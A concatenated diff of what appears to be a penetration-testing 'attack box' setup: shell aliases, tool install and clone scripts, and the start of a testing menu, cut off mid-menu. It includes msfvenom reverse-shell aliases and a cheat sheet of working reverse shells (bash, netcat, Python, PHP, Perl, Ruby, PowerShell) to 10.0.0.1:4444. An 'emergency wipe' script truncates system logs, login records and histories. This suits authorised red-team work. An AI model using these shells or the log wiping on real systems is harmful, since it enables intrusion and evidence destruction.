|
||||
alias nmap-udp='sudo nmap -sU -sV --top-ports 1000'
|
||||
alias nmap-vuln='nmap -sV --script=vuln'
|
||||
alias nmap-smb='nmap -sV -p 445 --script=smb-enum-shares,smb-enum-users'
|
||||
|
||||
# Tool updates
|
||||
alias update-tools='update-all-tools.sh'
|
||||
alias update-searchsploit='searchsploit -u'
|
||||
alias update-nmap-scripts='sudo nmap --script-updatedb'
|
||||
|
||||
# Quick tool access
|
||||
alias kerb='kerbrute'
|
||||
alias responder='sudo responder -I eth0 -wFv'
|
||||
alias crack='crackmapexec'
|
||||
alias evil='evil-winrm -i'
|
||||
alias bloodhound-start='sudo neo4j start && bloodhound'
|
||||
|
||||
# ─── ENCODING/DECODING ───────────────────────────────────────────────────────
|
||||
|
||||
alias b64d='base64 -d'
|
||||
alias b64e='base64 -w 0'
|
||||
alias urldecode='python3 -c "import sys, urllib.parse as ul; print(ul.unquote(sys.stdin.read()))"'
|
||||
alias urlencode='python3 -c "import sys, urllib.parse as ul; print(ul.quote(sys.stdin.read()))"'
|
||||
alias hexdump='od -A x -t x1z -v'
|
||||
alias rot13='tr "A-Za-z" "N-ZA-Mn-za-m"'
|
||||
|
||||
# ─── METASPLOIT PAYLOAD GENERATORS ───────────────────────────────────────────
|
||||
|
||||
alias msfpayloads='msfvenom -l payloads'
|
||||
alias msfencoders='msfvenom -l encoders'
|
||||
alias winrev='msfvenom -p windows/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f exe -o shell.exe'
|
||||
alias linrev='msfvenom -p linux/x64/shell_reverse_tcp LHOST=$1 LPORT=$2 -f elf -o shell.elf'
|
||||
alias phprev='msfvenom -p php/reverse_php LHOST=$1 LPORT=$2 -f raw -o shell.php'
|
||||
alias asprev='msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f asp -o shell.asp'
|
||||
alias jsprev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f raw -o shell.jsp'
|
||||
alias warrev='msfvenom -p java/jsp_shell_reverse_tcp LHOST=$1 LPORT=$2 -f war -o shell.war'
|
||||
|
||||
# ─── WORDLIST SHORTCUTS ──────────────────────────────────────────────────────
|
||||
|
||||
alias rockyou='locate rockyou.txt | head -1'
|
||||
alias seclists='cd ~/tools/wordlists/SecLists'
|
||||
alias dirmedium='locate directory-list-2.3-medium.txt | head -1'
|
||||
alias submedium='locate subdomains-top1million-110000.txt | head -1'
|
||||
|
||||
# ─── PROXYCHAINS ─────────────────────────────────────────────────────────────
|
||||
|
||||
alias pc='proxychains4 -q'
|
||||
alias pcnmap='proxychains4 -q nmap -sT -Pn'
|
||||
|
||||
# ─── CHISEL SHORTCUTS ────────────────────────────────────────────────────────
|
||||
|
||||
alias chisel-server='chisel server -p 8000 --reverse'
|
||||
alias chisel-client='chisel client $1:8000 R:socks'
|
||||
|
||||
# ─── QUICK FUNCTIONS ─────────────────────────────────────────────────────────
|
||||
|
||||
# Extract various archive types
|
||||
extract() {
|
||||
if [ -f $1 ]; then
|
||||
case $1 in
|
||||
*.tar.bz2) tar xjf $1 ;;
|
||||
*.tar.gz) tar xzf $1 ;;
|
||||
*.bz2) bunzip2 $1 ;;
|
||||
*.rar) unrar x $1 ;;
|
||||
*.gz) gunzip $1 ;;
|
||||
*.tar) tar xf $1 ;;
|
||||
*.tbz2) tar xjf $1 ;;
|
||||
*.tgz) tar xzf $1 ;;
|
||||
*.zip) unzip $1 ;;
|
||||
*.Z) uncompress $1;;
|
||||
*.7z) 7z x $1 ;;
|
||||
*) echo "'$1' cannot be extracted" ;;
|
||||
esac
|
||||
else
|
||||
echo "'$1' is not a valid file"
|
||||
fi
|
||||
}
|
||||
|
||||
# Create backup of file
|
||||
backup() {
|
||||
cp "$1" "${1}.$(date +%Y%m%d_%H%M%S).bak"
|
||||
}
|
||||
|
||||
# Quick nmap scans
|
||||
quickscan() {
|
||||
echo "[*] Quick scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA quickscan_$1 $1
|
||||
}
|
||||
|
||||
fullscan() {
|
||||
echo "[*] Full scan of $1"
|
||||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullscan_$1 $1
|
||||
}
|
||||
|
||||
udpscan() {
|
||||
echo "[*] UDP scan of $1"
|
||||
sudo nmap -sU -sV --top-ports 1000 -oA udpscan_$1 $1
|
||||
}
|
||||
|
||||
# Reverse shell cheatsheet
|
||||
revshells() {
|
||||
echo "===== Reverse Shell Cheatsheet ====="
|
||||
echo "Bash:"
|
||||
echo " bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
|
||||
echo ""
|
||||
echo "Bash (alternative):"
|
||||
echo " 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196 >&196 2>&196"
|
||||
echo ""
|
||||
echo "Netcat:"
|
||||
echo " nc -e /bin/bash 10.0.0.1 4444"
|
||||
echo " nc -c bash 10.0.0.1 4444"
|
||||
echo " rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
|
||||
echo ""
|
||||
echo "Python:"
|
||||
echo " python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
|
||||
echo ""
|
||||
echo "Python3:"
|
||||
echo " python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "PHP:"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);shell_exec(\"/bin/bash <&3 >&3 2>&3\");'"
|
||||
echo " php -r '\$sock=fsockopen(\"10.0.0.1\",4444);\$proc=proc_open(\"/bin/bash\", array(0=>\$sock, 1=>\$sock, 2=>\$sock),\$pipes);'"
|
||||
echo ""
|
||||
echo "Perl:"
|
||||
echo " perl -e 'use Socket;\$i=\"10.0.0.1\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
|
||||
echo ""
|
||||
echo "Ruby:"
|
||||
echo " ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'"
|
||||
echo ""
|
||||
echo "PowerShell:"
|
||||
echo " powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
|
||||
}
|
||||
|
||||
# Upgrade shell
|
||||
upgradeshell() {
|
||||
echo "===== Shell Upgrade Commands ====="
|
||||
echo "Python:"
|
||||
echo " python -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'"
|
||||
echo ""
|
||||
echo "Script:"
|
||||
echo " script -q /dev/null -c bash"
|
||||
echo ""
|
||||
echo "Then:"
|
||||
echo " export TERM=xterm"
|
||||
echo " export SHELL=bash"
|
||||
echo " stty rows 24 cols 80"
|
||||
echo ""
|
||||
echo "Background with Ctrl+Z, then:"
|
||||
echo " stty raw -echo;fg"
|
||||
echo ""
|
||||
echo "For zsh shell:"
|
||||
echo " python3 -c 'import pty;pty.spawn(\"/bin/zsh\")'"
|
||||
}
|
||||
|
||||
# Quick HTTP server with upload capability
|
||||
upload_server() {
|
||||
echo "Starting upload server on port 8080..."
|
||||
python3 -c 'import http.server,socketserver,cgi,os;os.chdir("/tmp");class SimpleHTTPRequestHandlerWithUpload(http.server.SimpleHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path=="/upload":
|
||||
form=cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={"REQUEST_METHOD":"POST","CONTENT_TYPE":self.headers["Content-Type"]})
|
||||
filename=form["file"].filename
|
||||
data=form["file"].file.read()
|
||||
with open(filename,"wb")as f:f.write(data)
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"Upload successful")
|
||||
else:self.send_error(404)
|
||||
httpd=socketserver.TCPServer(("",8080),SimpleHTTPRequestHandlerWithUpload);print("Upload server at http://0.0.0.0:8080/upload");httpd.serve_forever()'
|
||||
}
|
||||
|
||||
# Check all running services
|
||||
checkservices() {
|
||||
echo "===== Running Services ====="
|
||||
systemctl list-units --type=service --state=running
|
||||
}
|
||||
|
||||
# Download file to target
|
||||
download() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: download <URL> <output-file>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Downloading $1 to $2"
|
||||
curl -s -L "$1" -o "$2" || wget -q "$1" -O "$2"
|
||||
}
|
||||
|
||||
# Git shortcuts
|
||||
alias gs='git status'
|
||||
alias ga='git add'
|
||||
alias gc='git commit -m'
|
||||
alias gp='git push'
|
||||
alias gl='git log --oneline'
|
||||
alias gd='git diff'
|
||||
|
||||
# Docker shortcuts
|
||||
alias dps='docker ps'
|
||||
alias dpsa='docker ps -a'
|
||||
alias dimg='docker images'
|
||||
alias dexec='docker exec -it'
|
||||
alias dlog='docker logs'
|
||||
alias dstop='docker stop $(docker ps -q)'
|
||||
alias drm='docker rm $(docker ps -a -q)'
|
||||
alias drmi='docker rmi $(docker images -q)'
|
||||
|
||||
# ─── VIRTUAL ENVIRONMENT ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias venv-create='python3 -m venv venv; source venv/bin/activate; pip install -r requirements.txt'
|
||||
alias venv-activate='source venv/bin/activate'
|
||||
|
||||
# ─── BURP PROXY ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
alias burp_proxy='export https_proxy=http://127.0.0.1:8080; export http_proxy=$https_proxy; export NO_PROXY=169.254.169.254; echo "Burp proxy enabled: $http_proxy"'
|
||||
alias disable_burp_proxy='unset https_proxy; unset http_proxy; unset NO_PROXY; echo "Burp proxy disabled"'
|
||||
|
||||
# ─── RED TEAM VPN MONITORING ──────────────────────────────────────────────
|
||||
|
||||
# Safe OPSEC status check
|
||||
alias opsec-status='echo "🔍 OPSEC Status:"; echo "VPN: $(pgrep openvpn > /dev/null && echo "🔒 Connected" || echo "❌ Disconnected")"; echo "Tor: $(systemctl is-active tor 2>/dev/null | grep -q active && echo "🔒 Active" || echo "❌ Inactive")"; echo "IP: $(curl -s --max-time 2 ifconfig.me || echo "Check failed")"'
|
||||
|
||||
# Network status for red team ops
|
||||
alias net-status='echo "=== Network Status ==="; ip route | grep -E "tun|tor|vpn" || echo "No VPN/Tor interfaces"; echo ""; echo "=== External IP ==="; curl -s --max-time 3 ifconfig.me || echo "IP check failed"'
|
||||
|
||||
# Quick OPSEC check
|
||||
alias quick-opsec='opsec-status && echo "" && echo "=== Connections ===" && ss -tupln | grep -E ":443|:9050|:1080" | head -5'
|
||||
|
||||
# Tool paths
|
||||
export PATH=$PATH:~/tools:~/.cargo/bin:~/go/bin:/usr/local/bin
|
||||
Executable
+87
@@ -0,0 +1,87 @@
|
||||
#!/bin/bash
|
||||
# Emergency Wipe Script for OPSEC
|
||||
# Quickly sanitizes system for emergency situations
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${RED}=== EMERGENCY SANITIZATION PROTOCOL ===${NC}"
|
||||
echo -e "${YELLOW}This will clear sensitive data and logs${NC}"
|
||||
echo ""
|
||||
|
||||
# Confirm emergency wipe
|
||||
read -p "Are you sure you want to proceed? (type YES): " CONFIRM
|
||||
if [ "$CONFIRM" != "YES" ]; then
|
||||
echo -e "${GREEN}Emergency wipe cancelled${NC}"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo -e "${RED}[*] Beginning emergency sanitization...${NC}"
|
||||
|
||||
# Clear command history
|
||||
echo -e "${YELLOW}[*] Clearing command history${NC}"
|
||||
history -c
|
||||
> ~/.bash_history
|
||||
> ~/.zsh_history
|
||||
> ~/.python_history
|
||||
> ~/.mysql_history
|
||||
> ~/.psql_history
|
||||
|
||||
# Clear system logs
|
||||
echo -e "${YELLOW}[*] Clearing system logs${NC}"
|
||||
sudo find /var/log -type f -exec truncate -s 0 {} \; 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/auth.log 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/syslog 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/kern.log 2>/dev/null
|
||||
|
||||
# Clear temporary files
|
||||
echo -e "${YELLOW}[*] Clearing temporary files${NC}"
|
||||
sudo rm -rf /tmp/* 2>/dev/null
|
||||
sudo rm -rf /var/tmp/* 2>/dev/null
|
||||
rm -rf ~/.cache/* 2>/dev/null
|
||||
|
||||
# Clear SSH known hosts
|
||||
echo -e "${YELLOW}[*] Clearing SSH artifacts${NC}"
|
||||
> ~/.ssh/known_hosts
|
||||
sudo truncate -s 0 /var/log/btmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/wtmp 2>/dev/null
|
||||
sudo truncate -s 0 /var/log/lastlog 2>/dev/null
|
||||
|
||||
# Clear network traces
|
||||
echo -e "${YELLOW}[*] Clearing network artifacts${NC}"
|
||||
sudo ip neigh flush all 2>/dev/null
|
||||
|
||||
# Clear DNS cache
|
||||
echo -e "${YELLOW}[*] Clearing DNS cache${NC}"
|
||||
sudo systemctl restart systemd-resolved 2>/dev/null
|
||||
|
||||
# Clear browser data if present
|
||||
echo -e "${YELLOW}[*] Clearing browser data${NC}"
|
||||
rm -rf ~/.mozilla/firefox/*/sessionstore* 2>/dev/null
|
||||
rm -rf ~/.mozilla/firefox/*/cookies.sqlite 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/History 2>/dev/null
|
||||
rm -rf ~/.config/google-chrome/Default/Cookies 2>/dev/null
|
||||
|
||||
# Secure delete free space (optional - takes time)
|
||||
read -p "Perform secure free space wipe? (y/N): " WIPE_FREE
|
||||
if [ "$WIPE_FREE" = "y" ] || [ "$WIPE_FREE" = "Y" ]; then
|
||||
echo -e "${YELLOW}[*] Securely wiping free space (this may take a while)${NC}"
|
||||
dd if=/dev/urandom of=/tmp/wipe_file bs=1M 2>/dev/null || true
|
||||
rm -f /tmp/wipe_file 2>/dev/null
|
||||
fi
|
||||
|
||||
# Clear systemd journal
|
||||
echo -e "${YELLOW}[*] Clearing systemd journal${NC}"
|
||||
sudo journalctl --vacuum-time=1s 2>/dev/null
|
||||
|
||||
# Final cleanup
|
||||
echo -e "${YELLOW}[*] Final cleanup${NC}"
|
||||
sync
|
||||
sudo updatedb 2>/dev/null
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}=== EMERGENCY SANITIZATION COMPLETE ===${NC}"
|
||||
echo -e "${YELLOW}Consider rebooting the system for maximum effectiveness${NC}"
|
||||
echo -e "${RED}WARNING: This does not guarantee complete data removal${NC}"
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Git Repositories Cloning Script
|
||||
# Clones security tool repositories with enhanced feedback
|
||||
|
||||
# Get DMEALEY_DIR from environment or use default
|
||||
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GIT REPOSITORIES CLONING STARTED"
|
||||
echo "================================================================"
|
||||
|
||||
REPOS=(
|
||||
"https://github.com/SecureAuthCorp/impacket.git"
|
||||
"https://github.com/danielmiessler/SecLists.git"
|
||||
"https://github.com/swisskyrepo/PayloadsAllTheThings.git"
|
||||
"https://github.com/fuzzdb-project/fuzzdb.git"
|
||||
"https://github.com/1N3/Sn1per.git"
|
||||
"https://github.com/maurosoria/dirsearch.git"
|
||||
"https://github.com/OJ/gobuster.git"
|
||||
"https://github.com/aboul3la/Sublist3r.git"
|
||||
"https://github.com/laramies/theHarvester.git"
|
||||
"https://github.com/Tib3rius/AutoRecon.git"
|
||||
"https://github.com/carlospolop/PEASS-ng.git"
|
||||
"https://github.com/rebootuser/LinEnum.git"
|
||||
"https://github.com/mzet-/linux-exploit-suggester.git"
|
||||
"https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git"
|
||||
"https://github.com/PowerShellMafia/PowerSploit.git"
|
||||
"https://github.com/BloodHoundAD/BloodHound.git"
|
||||
"https://github.com/EmpireProject/Empire.git"
|
||||
"https://github.com/cobbr/Covenant.git"
|
||||
"https://github.com/byt3bl33d3r/CrackMapExec.git"
|
||||
"https://github.com/Hackplayers/evil-winrm.git"
|
||||
)
|
||||
|
||||
REPO_NAMES=(
|
||||
"impacket-dev"
|
||||
"SecLists"
|
||||
"PayloadsAllTheThings"
|
||||
"fuzzdb"
|
||||
"Sn1per"
|
||||
"dirsearch-dev"
|
||||
"gobuster-dev"
|
||||
"Sublist3r"
|
||||
"theHarvester-dev"
|
||||
"AutoRecon"
|
||||
"PEASS-ng"
|
||||
"LinEnum"
|
||||
"linux-exploit-suggester"
|
||||
"Windows-Exploit-Suggester"
|
||||
"PowerSploit"
|
||||
"BloodHound"
|
||||
"Empire"
|
||||
"Covenant"
|
||||
"CrackMapExec-dev"
|
||||
"evil-winrm"
|
||||
)
|
||||
|
||||
TOTAL=${#REPOS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
# Create git directory if it doesn't exist
|
||||
mkdir -p "$DMEALEY_DIR/tools/git"
|
||||
cd "$DMEALEY_DIR/tools/git"
|
||||
|
||||
for i in "${!REPOS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
repo="${REPOS[$i]}"
|
||||
name="${REPO_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Cloning $name..."
|
||||
echo "Repository: $repo"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if [ -d "$name" ]; then
|
||||
echo "Repository $name already exists, updating..."
|
||||
cd "$name"
|
||||
if timeout 300 git pull origin main 2>/dev/null || timeout 300 git pull origin master 2>/dev/null; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name updated successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name update failed"
|
||||
fi
|
||||
cd ..
|
||||
else
|
||||
if timeout 300 git clone --depth 1 "$repo" "$name" 2>&1 | while read line; do echo "[GIT] $line"; done; then
|
||||
if [ -d "$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name cloned successfully"
|
||||
echo "Size: $(du -sh "$name" | cut -f1)"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name directory not found after clone"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name clone failed or timed out"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) repositories"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GIT REPOSITORIES CLONING SUMMARY:"
|
||||
echo "================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Cloned repositories:"
|
||||
ls -la "$DMEALEY_DIR/tools/git/" | head -20
|
||||
|
||||
exit 0
|
||||
Executable
+104
@@ -0,0 +1,104 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Go Tools Installation Script
|
||||
# Installs security tools via go install with enhanced feedback
|
||||
|
||||
# Get DMEALEY_DIR from environment or use default
|
||||
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
|
||||
|
||||
export GOPATH="$DMEALEY_DIR/tools/go"
|
||||
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
||||
mkdir -p "$GOPATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "GO TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Installing Go tools to $GOPATH/bin..."
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
GO_TOOLS=(
|
||||
"github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"
|
||||
"github.com/projectdiscovery/httpx/cmd/httpx@latest"
|
||||
"github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest"
|
||||
"github.com/projectdiscovery/naabu/v2/cmd/naabu@latest"
|
||||
"github.com/projectdiscovery/dnsx/cmd/dnsx@latest"
|
||||
"github.com/projectdiscovery/katana/cmd/katana@latest"
|
||||
"github.com/tomnomnom/waybackurls@latest"
|
||||
"github.com/tomnomnom/assetfinder@latest"
|
||||
"github.com/tomnomnom/httprobe@latest"
|
||||
"github.com/tomnomnom/gf@latest"
|
||||
"github.com/lc/gau/v2/cmd/gau@latest"
|
||||
"github.com/hakluke/hakrawler@latest"
|
||||
"github.com/ropnop/kerbrute@latest"
|
||||
)
|
||||
|
||||
TOOL_NAMES=(
|
||||
"subfinder"
|
||||
"httpx"
|
||||
"nuclei"
|
||||
"naabu"
|
||||
"dnsx"
|
||||
"katana"
|
||||
"waybackurls"
|
||||
"assetfinder"
|
||||
"httprobe"
|
||||
"gf"
|
||||
"gau"
|
||||
"hakrawler"
|
||||
"kerbrute"
|
||||
)
|
||||
|
||||
TOTAL=${#GO_TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for i in "${!GO_TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
tool="${GO_TOOLS[$i]}"
|
||||
name="${TOOL_NAMES[$i]}"
|
||||
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $name..."
|
||||
echo "Repository: $tool"
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
echo "Working directory: $GOPATH"
|
||||
|
||||
if timeout 300 bash -c "go install -v $tool 2>&1 | while read line; do echo '[GO] $line'; done"; then
|
||||
if [ -f "$GOPATH/bin/$name" ]; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $name installed successfully at $GOPATH/bin/$name"
|
||||
ls -la "$GOPATH/bin/$name"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name binary not found after installation"
|
||||
fi
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $name installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "GO TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=============================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed Go tools:"
|
||||
ls -la "$GOPATH/bin/" || echo "No Go tools installed"
|
||||
echo ""
|
||||
echo "Go environment:"
|
||||
echo "GOPATH: $GOPATH"
|
||||
echo "Go version: $(go version 2>/dev/null || echo 'Go not found')"
|
||||
echo "Go executable: $(which go || echo 'Go not in PATH')"
|
||||
|
||||
exit 0
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
#!/bin/bash
|
||||
# Attack Box - Python Tools Installation Script
|
||||
# Installs security tools via pipx with enhanced feedback
|
||||
|
||||
export PATH="/root/.local/bin:$PATH"
|
||||
|
||||
echo "================================================================"
|
||||
echo "PYTHON TOOLS INSTALLATION STARTED"
|
||||
echo "================================================================"
|
||||
echo "Total tools to install: 29"
|
||||
echo "Each tool has a 5-minute timeout"
|
||||
echo "================================================================"
|
||||
|
||||
TOOLS=(
|
||||
"impacket"
|
||||
"bloodhound"
|
||||
"crackmapexec"
|
||||
"netexec"
|
||||
"droopescan"
|
||||
"wpscan"
|
||||
"arjun"
|
||||
"subjack"
|
||||
"sublist3r"
|
||||
"theharvester"
|
||||
"feroxbuster"
|
||||
"dirsearch"
|
||||
"sqlmap"
|
||||
"wafw00f"
|
||||
"dnsrecon"
|
||||
"dnsgen"
|
||||
"massdns"
|
||||
"altdns"
|
||||
"paramspider"
|
||||
"linkfinder"
|
||||
"xsstrike"
|
||||
"scapy"
|
||||
"pwntools"
|
||||
"volatility3"
|
||||
"ldapdomaindump"
|
||||
"ldap3"
|
||||
"responder"
|
||||
"mitm6"
|
||||
"enum4linux-ng"
|
||||
"smbmap"
|
||||
)
|
||||
|
||||
TOTAL=${#TOOLS[@]}
|
||||
CURRENT=0
|
||||
FAILED=0
|
||||
SUCCESS=0
|
||||
|
||||
for tool in "${TOOLS[@]}"; do
|
||||
CURRENT=$((CURRENT + 1))
|
||||
echo ""
|
||||
echo "[$CURRENT/$TOTAL] Installing $tool..."
|
||||
echo "Progress: $(( CURRENT * 100 / TOTAL ))%"
|
||||
echo "Started: $(date '+%H:%M:%S')"
|
||||
|
||||
if timeout 300 pipx install --verbose "$tool" 2>&1; then
|
||||
SUCCESS=$((SUCCESS + 1))
|
||||
echo "✓ $tool installed successfully"
|
||||
else
|
||||
FAILED=$((FAILED + 1))
|
||||
echo "✗ $tool installation failed or timed out"
|
||||
fi
|
||||
|
||||
echo "Completed: $(date '+%H:%M:%S')"
|
||||
echo "Status: $SUCCESS successful, $FAILED failed"
|
||||
echo "Remaining: $(( TOTAL - CURRENT )) tools"
|
||||
echo "================================================================"
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "PYTHON TOOLS INSTALLATION SUMMARY:"
|
||||
echo "=================================="
|
||||
echo "Total attempted: $TOTAL"
|
||||
echo "Successful: $SUCCESS"
|
||||
echo "Failed: $FAILED"
|
||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||
echo ""
|
||||
echo "Installed pipx tools:"
|
||||
pipx list
|
||||
|
||||
exit 0
|
||||
+392
@@ -0,0 +1,392 @@
|
||||
#!/bin/bash
|
||||
# Manual Testing Menu for Attack Box
|
||||
# Interactive interface for manual penetration testing tasks
|
||||
|
||||
set -e
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# ASCII Banner
|
||||
show_banner() {
|
||||
echo -e "${CYAN}"
|
||||
cat << "EOF"
|
||||
╔═══════════════════════════════════════╗
|
||||
║ ATTACK BOX MENU ║
|
||||
║ Manual Testing Interface ║
|
||||
╚═══════════════════════════════════════╝
|
||||
EOF
|
||||
echo -e "${NC}"
|
||||
}
|
||||
|
||||
# Main menu
|
||||
show_main_menu() {
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Attack Box Manual Testing Menu ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Target Reconnaissance"
|
||||
echo -e "${BLUE}2.${NC} Network Scanning"
|
||||
echo -e "${BLUE}3.${NC} Web Application Testing"
|
||||
echo -e "${BLUE}4.${NC} Vulnerability Assessment"
|
||||
echo -e "${BLUE}5.${NC} Exploitation Framework"
|
||||
echo -e "${BLUE}6.${NC} Post-Exploitation"
|
||||
echo -e "${BLUE}7.${NC} Password Attacks"
|
||||
echo -e "${BLUE}8.${NC} Wireless Testing"
|
||||
echo -e "${BLUE}9.${NC} Social Engineering"
|
||||
echo -e "${BLUE}10.${NC} OSINT Tools"
|
||||
echo -e "${BLUE}11.${NC} Custom Scripts"
|
||||
echo -e "${BLUE}12.${NC} Tool Status & Updates"
|
||||
echo -e "${BLUE}13.${NC} Generate Reports"
|
||||
echo -e "${BLUE}0.${NC} Exit"
|
||||
echo
|
||||
echo -ne "${YELLOW}Select an option [0-13]: ${NC}"
|
||||
}
|
||||
|
||||
# Reconnaissance menu
|
||||
recon_menu() {
|
||||
clear
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo -e "${GREEN} Reconnaissance Tools ${NC}"
|
||||
echo -e "${GREEN}========================================${NC}"
|
||||
echo
|
||||
echo -e "${BLUE}1.${NC} Domain Enumeration (theHarvester)"
|
||||
